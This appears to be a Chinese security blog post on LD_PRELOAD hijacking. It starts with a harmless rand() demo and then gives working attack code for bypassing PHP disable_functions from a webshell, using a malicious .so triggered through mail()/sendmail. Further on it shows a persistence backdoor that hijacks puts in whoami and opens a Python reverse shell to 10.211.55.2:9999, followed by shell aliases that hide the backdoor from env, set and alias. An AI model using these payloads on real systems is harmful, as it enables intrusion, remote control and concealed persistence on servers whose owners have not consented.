LD_PRELOAD绕disable_function以及在后渗透中的作用

40次阅读
没有评论

共计 9649 个字符,预计需要花费 25 分钟才能阅读完成。

LD_PRELOAD在Linux中的作用

LD_PRELOAD 是 Linux 系统中常用的环境变量,用于在程序运行时预加载指定的共享库(.so 文件)
它的主要作用是在程序启动前,将用户指定的动态链接库优先加载到进程的地址空间中,从而可以覆盖或拦截标准库函数的行为

.so(共享对象)文件中通常封装了一些可被其他程序调用的函数、变量或符号,目的是实现代码复用、模块化和动态链接。类似Windows的DLL

基本原理

Linux 中的程序通常会动态链接到系统库(如 libc.so)。当程序调用某个函数(比如 mallocopenprintf 等),动态链接器(ld-linux.so)会在运行时解析这些符号并绑定到对应的实现。

LD_PRELOAD 的工作机制是:

  • 在程序启动时,动态链接器会优先加载 LD_PRELOAD 指定的共享库;
  • 如果该库中定义了与标准库同名的函数,那么程序在调用该函数时,会优先使用预加载库中的版本,而不是标准库中的原始实现。
    这就是LD_PRELOAD劫持的基本原理

我们先用一个简单的例子来演示LD_PRELOAD

LD_PRELOAD=$PWD/1111.so ./1234 //这样就先当于在运行1234前动态加载1111.so,但下一次就不会了  
export LD_PRELOAD=$PWD/1111.so //这里就先当于设置了全局环境变量,对所有都有约束  
unset LD_PRELOAD  //这个就可以恢复最初的
/***********************************************************************
 * 
 * Project: guessing_game
 * 
 * Author: Travis Phillips
 * 
 * Date: 10/24/2020
 * 
 * Project Repo:
 *  https://github.com/ProfessionallyEvil/LD_PRELOAD-rand-Hijack-Example
 * 
 * Purpose: This is code for a simple random number guessing game for
 *          a blog post on using LD_PRELOAD to hijack functions in an
 *          application, in this case, hijacking rand()
 * 
 * Compile: gcc guessing_game.c -o guessing_game
 * 
***********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

/////////////////////////////////
// App Constants
/////////////////////////////////
const char *TITLE = "Number Guessing Game";
const char *VER = "v1.0";

/////////////////////////////////
// Color Constants
/////////////////////////////////
#ifdef NOCOLOR
    const char *RED = "";
    const char *GREEN = "";
    const char *YELLOW = "";
    const char *NC = "";
#else
    const char *RED = "33[31;1m";
    const char *GREEN = "33[32;1m";
    const char *YELLOW = "33[33;1m";
    const char *NC = "33[0m";
#endif

int main(int argc, char **argv) {

    //////////////////////////////////////////////////////////////////
    // Initalize Variables.
    //////////////////////////////////////////////////////////////////
    unsigned int rand_num = 0;
    unsigned int user_guess = 0;
    time_t t = 0;

    //////////////////////////////////////////////////////////////////
    // Print the banner.
    //////////////////////////////////////////////////////////////////
    printf("nt%s---===[ %s %s ]===---%snn", YELLOW, TITLE, VER, NC);

    //////////////////////////////////////////////////////////////////
    // Get the user's guess.
    //////////////////////////////////////////////////////////////////
    printf(" [?] Guess a number between 0-31337 > ");
    if (!scanf("%u", &user_guess) || user_guess > 31337) {
        printf(" [%s!%s] %sERROR:%s Invalid input.nn", RED, NC, RED, NC);
        return 1;
    }

    //////////////////////////////////////////////////////////////////
    // Seed the random number generator with the current time.
    //////////////////////////////////////////////////////////////////
    srand((unsigned int) time(&t));

    //////////////////////////////////////////////////////////////////
    // Now get a random number between 1 and 31337.
    //////////////////////////////////////////////////////////////////
    rand_num = rand() % 31338;

    //////////////////////////////////////////////////////////////////
    // Print the variables if this is a debug build.
    //////////////////////////////////////////////////////////////////
    #ifdef DEBUG
        printf(" [DEBUG] user_guess => %dn", user_guess);
        printf(" [DEBUG]   rand_num => %dn", rand_num);
    #endif

    //////////////////////////////////////////////////////////////////
    // See if the users number is equal to the number generated. If
    // so, let the user know they won.
    //////////////////////////////////////////////////////////////////
    if (user_guess == rand_num){
        printf(" [%s+%s] %sYou Win! :-)%snn", GREEN, NC, GREEN, NC);
        return 0;
    }

    //////////////////////////////////////////////////////////////////
    //      The user guessed wrong, let them know the lost.
    //////////////////////////////////////////////////////////////////
    printf(" [%s-%s] %sYou lose. :-(%snn", RED, NC, RED, NC);
    return 1;
}

这是一个简单的猜数字游戏,调用了rand()函数来生成随机数
LD_PRELOAD绕disable_function以及在后渗透中的作用
可以看到生成的数字是随机的,现在我们利用LD_PRELOAD来劫持rand()函数

/***********************************************************************
 * 
 * Project: rand_hijack.so
 * 
 * Author: Travis Phillips
 * 
 * Date: 10/24/2020
 * 
 * Project Repo:
 *  https://github.com/ProfessionallyEvil/LD_PRELOAD-rand-Hijack-Example
 * 
 * Purpose: This is simple code for a LD_PRELOAD shared object that
 *          will make the call to rand() always return a static value
 *          of 42. We will use this to cheat in the number guessing
 *          game by making it not-so-random anymore.
 * 
 * Compile: gcc -FPIC -shared rand_hijack.c -o rand_hijack.so
 * 
***********************************************************************/
#include <stdio.h>

// Our version of rand() to hijack random number generation with.
int rand(void) {
    return 42; // The answer is always 42. It's always 42...
}

将他编译成.so文件

gcc -Wall -O3 -FPIC -shared src/rand_hijack.c -o rand_hijack.so

然后设置环境变量

export LD_PRELOAD=$PWD/rand_hijack.so

LD_PRELOAD绕disable_function以及在后渗透中的作用
再次游戏后我们可以看到,每次随机的值都是42,说明我们已经成功劫持rand()函数

LD_PRELOAD绕disable_function

php.ini文件里面可以设置禁用函数。
虽然禁用了system等可以直接执行命令的函数但是我们可以控制环境变量(如:putenv等)来指定LD_PRELOAD实现加载恶意的so文件,而他的优先级肯定是高于php.ini的disable_function所以实现了disable_function的bypass

加载顺序:LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib

假设我们现在有了一个webshell,但是打开了disable_function。
那么我们可以去查看php的一些函数调用了哪些库函数
比如使用了mail()函数,我们就可以去劫持sendmail的库函数然后触发mail()
使用readelf -Ws /usr/sbin/sendmail命令来查看sendmail命令使用了哪些库函数

#mail.php
php
<?php
mail("a@localhost","","","","");
?>
strace -f php mail.php 2>&1 | grep -A2 -B2 execve

LD_PRELOAD绕disable_function以及在后渗透中的作用
可以看到 execve 所执行的动态链接库为 sendmail

readelf -Ws /usr/sbin/sendmail

Symbol table '.dynsym' contains 350 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 000000000000c360     0 SECTION LOCAL  DEFAULT   11
     2: 00000000000db000     0 SECTION LOCAL  DEFAULT   23
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fxstat@GLIBC_2.17 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND tzset@GLIBC_2.17 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND socket@GLIBC_2.17 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND OPENSSL_init_crypto@OPENSSL_1_1_0 (3)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND srandom@GLIBC_2.17 (2)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND SSL_set_accept_state@OPENSSL_1_1_0 (4)
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memcpy@GLIBC_2.17 (2)
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND BN_bin2bn@OPENSSL_1_1_0 (3)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND nis_list@LIBNSL_1.0 (5)
    12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND SSL_shutdown@OPENSSL_1_1_0 (4)
    13: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND select@GLIBC_2.17 (2)
    14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sasl_setprop@SASL2 (6)
    15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getpwnam@GLIBC_2.17 (2)
    16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fchmod@GLIBC_2.17 (2)
    17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fread@GLIBC_2.17 (2)
    18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strstr@GLIBC_2.17 (2)
    19: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fdelt_chk@GLIBC_2.17 (2)
    20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND BIO_free@OPENSSL_1_1_0 (3)
    21: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getgid@GLIBC_2.17 (2)
    22: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND readlink@GLIBC_2.17 (2)
    23: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sasl_decode64@SASL2 (6)
    24: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND ldap_bind_s@OPENLDAP_2.4_2 (7)
    25: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND regerror@GLIBC_2.17 (2)
    26: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND X509_CRL_free@OPENSSL_1_1_0 (3)
    27: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND __environ@GLIBC_2.17 (2)
    28: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sasl_server_start@SASL2 (6)
    ……

从中选取一个适合的库函数来进行劫持测试,最终选择到的是第 82 行的 getuid


65: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND geteuid@GLIBC_2.17 (2)

编写恶意so -> 通过putenv来设置LD_PRELOAD变量 -> 触发mail函数来调用我们编写的恶意so


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
    system("id > /tmp/evil.txt");
}
int geteuid()
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

劫持sendmail使用的geteuid库函数,在其中调用payload()函数

payload()函数执行id命令输出到/tmp/evil.txt进行测试

在一个与目标机器系统环境相近的环境下进行编译


gcc -c -fPIC evil.c -o evil
gcc -shared evil -o evil.so

把evil.so进行base64编码,利用webshell,通过file_put_contents写入恶意so


PostData:
1=file_put_contents('/tmp/evil.so',base64_decode(''))

写一点代码


<?php
put_env("LD_PRELOAD=/tmp/evil.so");
mail("mo60@localhost","","");
?>

将这段代码base64后写入文件随后访问,如果使用命令行在编码时需要注意转义引号


echo "<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>"|base64
PD9waHAKcHV0ZW52KCJMRF9QUkVMT0FEPS92YXIvd3d3L2hhY2suc28iKTsKbWFpbCgiYUBsb2NhbGhvc3QiLCIiLCIiLCIiLCIiKTsKPz4K

我们都知道蚁剑自带一个绕disable_function

它的原理就是上传恶意so文件执行命令开一个新的php服务(没有disable_function),然后开启一个代理访问这个php服务

除开使用插件外自己手动劫持还是有点麻烦的,那么有什么简单点的办法

我们可以通过attribute来进行LD_PRELOAD劫持

GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    printf("i am hacker!!n");  //这里可以进行修改
}

LD_PRELOAD绕disable_function以及在后渗透中的作用

可以看到所有的命令执行都触发了危险的函数

NOTICE:so文件的后缀名实际上可以为任意后缀,这样可以绕过一些文件上传的限制

所以:绕disable_function流程就是
寻找要劫持的函数源码插入恶意代码,编译恶意so文件
file_put_content写入so文件劫持mail函数或者其他函数
调用函数触发恶意代码

LD_PRELOAD后渗透利用

既然LD_PRELOAD可以在运行命令前执行自己隐藏的命令。那么显然我们可以利用LD_PRELOAD留下隐蔽持久化后门比如我们劫持whoami命令

┌──(kali㉿Rycarl)-[~]
└─$ readelf -Ws /bin/whoami|grep puts
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
    28: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fputs_unlocked@GLIBC_2.2.5 (2)

整体逻辑如下:

  • 覆盖puts函数并在内部重写
  • 把原函数指针赋值给一个变量
  • 执行后门代码
  • 执行原函数
  • 正常返回值
    劫持后的代码

    
    #include <stdio.h>
    #include <unistd.h>
    #include <dlfcn.h>
    #include <stdlib.h>

int puts(const char message) {
int (
new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, “puts”);
system(“python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.211.55.2”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);'”);
result = new_puts(message);
return result;
}

但是LD_PRELOAD劫持也十分常见,所以往往很容易被发现
防守方可以使用
```bash
env
echo $LD_PRELOAD
set
export

等命令发现后门,我们可以尝试使用alias来把和后门有关的字段置空达到隐蔽

比如

alias echo='func(){ echo $* | sed "s!/root/hook.so! !g";};func'
alias env='func(){ env $* | grep -v "/root/hook.so";};func'
alias set='func(){ set $* | grep -v "/root/hook.so";};func'
alias export='func(){ export $* | grep -v "/root/hook.so";};func'
alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'
alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'
正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-12-03发表,共计9649字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码